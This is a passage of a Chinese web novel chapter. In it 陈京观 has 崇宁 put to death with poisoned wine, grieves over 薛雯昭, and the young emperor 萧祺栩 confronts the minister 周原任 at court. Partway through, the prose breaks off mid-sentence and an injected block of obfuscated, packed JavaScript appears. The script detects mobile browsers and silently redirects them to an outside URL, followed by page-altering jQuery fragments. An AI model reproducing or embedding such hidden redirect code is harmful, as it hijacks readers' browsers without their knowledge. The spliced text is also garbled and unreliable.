“你为什么这么笃定我不会杀了你?”
崇宁的头发乱了,她几乎在陈京观说完后立刻反问道。那一缕垂在额前的发丝暴露着她的力不从心,陈京观摇头给了她回应,见她不明就里,又解释道:“我不是笃定你,我是笃定他,笃定他们。只凭你杀不掉我,而他们不会杀我。”
即使张冲表现得谨慎,陈京观还看见了他下意识的动作。他进殿后第一件事是确认躺在地上的不是陈京观,第二件事是暗示手下的人不要靠前,直到最后他也只是给崇宁递上了刀。
其实在张冲说他不希望陈京观死的时候,陈京观已经从他的话里听到了转机,也是那一刻陈京观知道老天又救了他一命。
陈京观说着,转头看了张冲一眼,张冲望着陈京观的眼睛目光闪烁。
“在踏进阙州的那一刻我的确做好了赴死的准备,可张冲让我知道我还有活着的希望。和我一样,他也忘不掉夏衍。”
听到夏衍的名字,崇宁的肩膀微微颤抖,那个她一眼挑中的孩子,被她亲手从关策递上来的离城名单里划掉了名字,是她亲手把他推向了死亡。
崇宁冷笑一声,认命似的闭上眼。陈京观却直起身继续道:“人和人之间的关系就是这么有意思,我这条命不知不觉成了他们存在过的记号。我承认我运气真的很好,我很庆幸我能在他们需要我的时候向他们伸出手。”
陈京观觉得,这也是因果报应。
“你和江阮都很聪明,都是这世间难得一见的天才,可即使你们的计划再周密,你们终究是要输的,因为你们猜错了人心。”
陈京观说罢转身向外走去,他路过张冲时恭恭敬敬朝他鞠了一躬,“多谢。”
“你要如何处置她?”
陈京观没有回头,张冲却不忍地扭头看了看崇宁。
自打张冲记事起,他总是能从父亲嘴里听到崇宁的名字,这其中当然褒贬不一,可张芳园跟了崇宁小十年,受了她十年的恩惠,张冲又何尝不是在崇宁的庇佑下活到了现在。
要说崇宁有何错,或许错在她识人不清,错在她越陷越深,错在她投错了胎,但她对南魏是真心的,这毋庸置疑。
崇宁这辈子就是运气太差,选的爱人不爱她,选的君主没能力,最后醒悟要靠自己奋力一搏时,却为时已晚。
“她活不了。”
陈京观的声音落下在崇明殿的石岩上掷地有声,他听到崇宁发出一声声凄迷的笑,张冲点头应了一句“我知道”,又犹豫着继续问:“可死法,也有不同。”
从前谋逆者多处以极刑,非若绞杀,便是凌迟。可南魏自温书让撰写《刑文录》后,有了独属于自己的一套刑罚规则。
温书让三十岁任刑部尚书,上任后第一件事就是改了法则,他觉得人之将死,要依其生前种种一并定夺其罪,说白了他还是觉得不能因为好人做了一件坏事就认定他是坏人。
不过陈频死后温书让被贬,他那套想法也就随着《刑文录》的销毁灭绝于世。那日萧霖给陈京观的,或许是这南魏最后一本了。
陈京观眼眸低垂,他似乎能感觉到身后的目光正若即若离地游移在他身上。
按理说,陈京观应该要亲手杀了崇宁的。
“赐鸩酒吧。”陈京观顿了顿,“对外就说长公主因思虑过度病逝在盛州,她的罪,让萧祺枫去背。”
崇宁就这样离开了,她的皇帝梦随着一杯温酒下肚,和她一同葬在了陵寝。
陈京观这小小的手段,替崇宁隐掉了前半生的苦难,也替她淡化了后半生的疯癫。作为代价,南魏的史书撕去了记载“德丰”的那一页,崇宁到死也没有成为皇帝。
某种意义上来说,陈京观选择了比凌迟更让崇宁感觉到痛觉的手段。
陈京观没有再作停留,他推开崇明殿的大门,一阵微风拂面,连带着将殿内的血腥气冲刷得一干二净。
长阶下席英几乎在同一时间看到了他,陈京观见她望着自己有些发愣,他笑了,席英也笑了。
“你命真大。”
苏清晓冲上来抱住陈京观,陈京观听到他的声音略带鼻音。
“也亏得你们当机立断,当时崇宁本来打算挟持我逼你们退兵的,偏偏你们已经打了进来。”
“都是席英的决定。”
苏清晓转身看着席英,陈京观却感觉到了两人之间不同以往的眼神,他无奈地叹了一口气,“要不真杀了我给两位助助兴?合着我在里面生死未卜,你们倒是私定终生了?”
苏清晓作势一巴掌拍到了陈京观肩上,陈京观吃痛地叫了一声,“我活着不容易!我刚和别人鏖战一个时辰,我可受不住你这一巴掌了。”
“和谁?”
苏清晓的眼神绕过陈京观,他看到一个面生的少年站在陈京观身后。张冲朝苏清晓欠身问好,陈京观用手在他脸前摆了摆,“不是他,是贺福愿。”
“贺福愿?他不是投靠了江阮吗?今日的事还与他有关?”
陈京观没有应答,这些问题他也还没有答案,而他此刻不想再想这些了。
贺福愿死了,下一步他就要把崇州抢回来,他要亲口告诉温书让,他不在的这些日子自己都做了什么。
紧接着张冲的手下从崇明殿抬出三张裹着白布的担架,苏清晓略带疑惑地望着陈京观,“还有两个是谁?”
“一个是崇宁,她给薛雯昭备的毒酒用在了她身上。还有一个是薛雯昭,她刺杀崇宁不成选择了自戕,为了不让我们难做。”
那两张小床上的人并排从长阶而下,白布遮不住的长裙依旧鲜艳,陈京观看过去的时候,望见了自己替薛磐送的那个簪子。
“停一下。”
陈京观叫住了抬着担架的士兵,他低下头,那簪子的主人就安静地躺在那里。白布掩住了她的面容,散落下来的黑发中偶有银丝几缕。
陈京观原想掀开布再看她一眼,可最后手停在了布上,只是试探着碰了碰她的头发。
“你说,我要怎么同薛大人讲?”陈京观不自觉红了眼眶,“他种了一城的梨花等着你呢。”
苏清晓什么也没说,伸出胳膊搂住了陈京观,他感觉怀里的人颤抖地幅度更大了些,他却心安了。
方才的陈京观不是他认识的陈京观,在这样的场面下陈京观笑不出来的,更何谈与他开玩笑。此时这个濒临崩溃的,才是他认识了二十年的陈京观。
“景豫,我们回家了,我们赢了。”
苏清晓的声音很轻,陈京观低着的头早已泪流满面,他们脚下,穆晓山和萧祺栩高兴得抱作一团,席英遥遥望着他们,又定睛看了看自己手里的剑。
是啊,他们终于赢了。
……
“奉天承运皇帝诏曰:万阳帝六子,仰承天命,嗣登大宝,祇绍鸿图。惟念列圣之艰难,思继先志;当恪守祖宗成宪,聿修厥德;推恩四海,惠泽苍生。务以仁孝治天下,以勤俭率百官,以公正平庶狱,以文武靖四方。布告中外,咸使闻知。共襄盛治,永享升平。钦此!”
万阳二十一年五月初七,萧霖第六子萧祺栩自民间游历归来,率兵平定盛州叛乱,救先帝于危难。其后先帝一病不起,不日卒于阙州,萧祺栩德承大统,改年号顺裕。
这段留在南魏史书上的话是苏清晓看着史官一个字一个字写上去的,史官写完后给他看,他却只觉得讽刺。
当初苏清晓就是因为觉得苏扬和苏晋名不副实而离开了家,如今他成了攥写历史的人,他也选择了为萧祺栩留个好名声。
不过那日苏清晓在盛州行宫和萧祺栩说的他倒是真的都记住了,从那之后萧祺栩再也没有逾矩半步。
而因萧祺栩年纪尚小,苏清晓就作为帝师,成了和他一同听政的人。
“皇上,老臣今年六十又三,到了该让贤于年轻人的岁数了。还望您能准我回家养老,我必日日为您诵经祈福,为南魏之将来祈愿上苍。”
一日上朝,周原任迈着颤颤巍巍的步子走到殿中,他要下跪的时候萧祺栩止住了他的动作,他便躬身请辞,满脸都写着对今时不同往
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398847|146751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日的畏惧。
“周大人是三朝元老了,如今圣上刚即位不久,南魏正是需要您这等德高望重的老人坐镇之际,您怎么能轻易离开?“
苏清晓微微挑眉,他站在离萧祺栩不远的台阶上,只凭那三级台阶就高出周原任一头。
周原任蔫声道:“皇上身边有苏相这般人才,哪里还需要我在这朝堂上卖弄?”
苏清晓冷笑一声侧头望了萧祺栩一眼,萧祺栩顿时明白了他的意思,他面色和气地朝周原任一笑,“这么多年周大人辛苦了,我定然不能回绝了您颐养天年的乐趣。不过您离开之前,我还有一事请问。”
“我当日离京时尚且年幼,已经记不得多少事了,还望周大人帮我回忆回忆,当初西芥的来信上,写的是我的名字吗?”
萧祺栩此话一出,满堂哗然。所有人都以为萧祺栩会对当初之事闭口不谈,否则他也势必要陷入身份危机,可他今日所言都像是全然不在乎,他用谦卑的口吻问候着周原任,周原任却吓出一身冷汗。
看过那封诏书的人都死了,除了他。
如今萧祺栩旧事重提,其中意思不言而喻,可若周原任认了诏书所写并非直指萧祺栩,那他又要怎么解释当时他信誓旦旦说西芥要的就是先皇后的嫡子。
“这……老臣上了岁数记不得事了,还望陛下恕罪。”
好一个装疯卖傻,萧祺栩料定周原任不会轻易松口,他往前探身继续问道:“那周大人可曾知道当日我所在的马车为何会突然变道?我记得参州是您的故乡,您回家探亲时可有听到些风声?”
参州,周原任紧张到咽了咽口水,他现在觉得自己在今日提起乞骸骨简直就是大错特错,他一定是出门没有看黄历。
可周原任不知道的是,为了今日苏清晓和陈京观已经准备了很久了,久到他们曾经以为这一切都是幻想。
“老臣祖籍参州确实不假,可家中长辈早些年就举家搬来阙州了,我与参州的旧故不算相熟。”
“那弗行远你可还记得?”
一瞬间,周原任跌坐在地上,他扶着那冰凉的地砖止不住的打颤,他明白这一天终究还是到了。
“前些日参州知州来信,说是有人检举周氏珠宝行与红山几家砖窑暗中勾结,当年城堑事故也是周家的手笔。我叫人将此事压了下来,想着来日再同您一议,可您今日就要请辞,我也是迫不得已就将此事放在台面上说了。”
周原任还发着抖,他勉强挤出一个笑,怯生生地望着萧祺栩。
“皇上,这些事臣绝对没有参与!臣是清白的,您一定要相信我啊!”
“我当然信您,”萧祺栩的语气充满诱惑,“就是因为信您,我才问您可还记得当日的事情?在我的印象中,我的马车遭了山匪劫持,陈大人为了救我而掉下山崖,可我那时候太小,不知道我的记忆对不对啊?”
萧祺栩说话时微微上扬眉眼,在周原任没有注意到的角落,陈京观站在群臣列队的最末尾,他听到萧祺栩提起陈频时不自觉乱了呼吸,他身边的大臣看了他一眼,面色有疑却不敢声张。
“对对对!臣想起来了,当日就是这回事!”
周原任一个鲤鱼打挺,他一边朝前爬一边说,“我听老家的人说当初西芥的遏佐甚是可恶,总是爱到参槐二州来耀武扬威,想必当时就是他拦了您的马车,让您的马车夫变了路线。”
“周大人都想起来了?”
萧祺栩语气中的讽刺不掩分毫,周原任舔着脸点头如捣蒜,他看到萧祺栩叫来了内侍,那内侍手上拿着一封早就写好的诏书。
“念。”
“朕念故忠义郎陈频,昔年临危受命,卒全朕躬。然朕离京数载,奸佞构煽,致使忠魂蒙垢,义士衔冤。今真相既白,朕心震悼,兹特追封陈频为一等忠勇公,赐谥“文清”,敕令工部择吉地重建陈家祠堂,规制从优,以彰殊荣。其灵位特设于正殿,以慰忠魂。凡陈氏子孙,优加抚恤,荫及三代。自今以往,敢有妄议陈频忠节者,以欺君罔上论,决不宽贷。钦此!”